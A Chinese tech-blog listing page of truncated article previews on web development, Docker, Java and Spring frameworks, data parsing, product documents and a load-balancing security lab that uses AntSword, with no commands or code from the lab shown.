abbr 表示缩写 time 踢动给浏览器或搜索引擎阅读的事件;看着没什么效果 b 以前是一个无语义元素,主要用于加粗字体,有了css之后,加粗就不需要b元素了。 现在作为提醒注意(Bring Attention To)元素&…...
Docker基本管理
前言一、Docker简介1.1 什么是docker1.2 docker的logo及其含义1.3 docker的设计宗旨1.4 容器的优点1.5 容器和虚拟机的区别1.6 docker容器的两个重要技术1.7 docker的核心概念 二、安装 Docker三、Docker 镜像操作1、搜索镜像2、获取镜像3、查看镜像信息4、查看下载的镜像文件信…...
.NET Core6.0使用NPOI导入导出Excel
一、使用NPOI导出Excel //引入NPOI包 HTML <input type"button" class"layui-btn layui-btn-blue2 layui-btn-sm" id"ExportExcel" onclick"ExportExcel()" value"导出" />JS //导出Excelfunction ExportExcel() {…...
用API接口获取数据的好处有哪些,电商小白看过来!
API接口获取数据有以下几个好处: 1. 数据的实时性:通过API接口获取数据可以实时获取最新的数据,保证数据的及时性。这对于需要及时更新数据的应用非常重要,比如股票行情、天气预报等。 2. 数据的准确性:通过API接口获…...
使用struct解析通达信本地Lday日线数据
★★★★★博文原创不易,我的博文不需要打赏,也不需要知识付费,可以白嫖学习编程小技巧,喜欢的老铁可以多多帮忙点赞,小红牛在此表示感谢。★★★★★ 在Python中,struct模块提供了二进制数据的打包和解包…...
浅谈早期基于模板匹配的OCR的原理
基于模板匹配的概念是一种早期的字符识别方法,它基于事先准备好的字符模板库来与待识别字符进行比较和匹配。其原理如下: 1. 字符模板库准备:首先,针对每个可能出现的字符,制作一个对应的字符模板。这些模板可以手工创…...
第6章 分布式文件存储
mini商城第6章 分布式文件存储 一、课题 分布式文件存储 二、回顾 1、理解Oauth2.0的功能作模式 2、实现mini商城项目的权限登录 三、目标 1、了解文件存储系统的概念 2、了解常用文件服务器的区别 3、掌握Minio的应用 四、内容 第1章 MinIO简介 官...
Spring(四):Spring Boot 的创建和使用
关于Spring之前说到,Spring只是思想(核心是IOC、DI和AOP),而具体的如何实现呢?那就是由Spring Boot 来实现,Spring Boot究竟是个啥呢? 什么是Spring Boot,为什么要学Spring Boot Sp…...
SpringCloud Gateway:status: 503 error: Service Unavailable
使用SpringCloud Gateway路由请求时,出现如下错误 yml配置如下: 可能的一种原因是:yml配置了gateway.discovery.locator.enabledtrue,此时gateway会使用负载均衡模式路由请求,但是SpringCloud Alibaba删除了Ribbon的…...
【产品规划】功能需求说明书概述
文章目录 1、瀑布流方法论简介2、产品需求文档(PRD)简介3、产品需求文档的基本要素4、编写产品需求文档5、优秀产品需求文档的特点6、与产品需求文档相似的其他文档 1、瀑布流方法论简介 2、产品需求文档(PRD)简介 3、产品需求文档…...
shell连接ubuntu
当使用aws的私钥连接时,老是弹出输入私钥密码,但是根本没有设置过密码,随便输入后,又提示该私钥无密码... 很早就使用过aws的ubuntu,这个问题也很早就遇到过,但是每次遇到都要各种找找找...索性这次记下来算了 此处用FinalShell连接为例 首先现在Putty连接工具: 点击官方下载 …...
华为将收取蜂窝物联网专利费,或将影响LPWAN市场发展
近日,华为正式公布了其4G和5G手机、Wi-Fi6设备和物联网产品的专利许可费率,其中包含了长距离通信技术蜂窝物联网。作为蜂窝物联网技术的先驱,华为是LTE Category NB (NB-IoT)、LTE Category M和其他4G物联网标准的主要贡献者。 在NB-IoT领域…...
【3Ds Max】图形合并命令的简单使用
示例(将文字设置在球体上) 1. 首先这里创建一个球体和一个文本 2. 选中球体,在复合对象中点击图形合并按钮 点击“拾取图形”按钮,然后选中文本,此时可以看到球体上已经投射出文本 3. 接下来是一些常用参数的介绍 当…...
Flink的常用算子以及实例
1.map 特性:接收一个数据,经过处理之后,就返回一个数据 1.1. 源码分析 我们来看看map的源码 map需要接收一个MapFunction<T,R>的对象,其中泛型T表示传入的数据类型,R表示经过处理之后输出的数据类型我们继续往…...
网络安全---负载均衡案例
一、首先环境配置 1.上传文件并解压 2.进入目录下 为了方便解释,我们只用两个节点,启动之后,大家可以看到有 3 个容器(可想像成有 3 台服务器就成)。 二、使用蚁剑去连接 因为两台节点都在相同的位置存在 ant.jsp&…...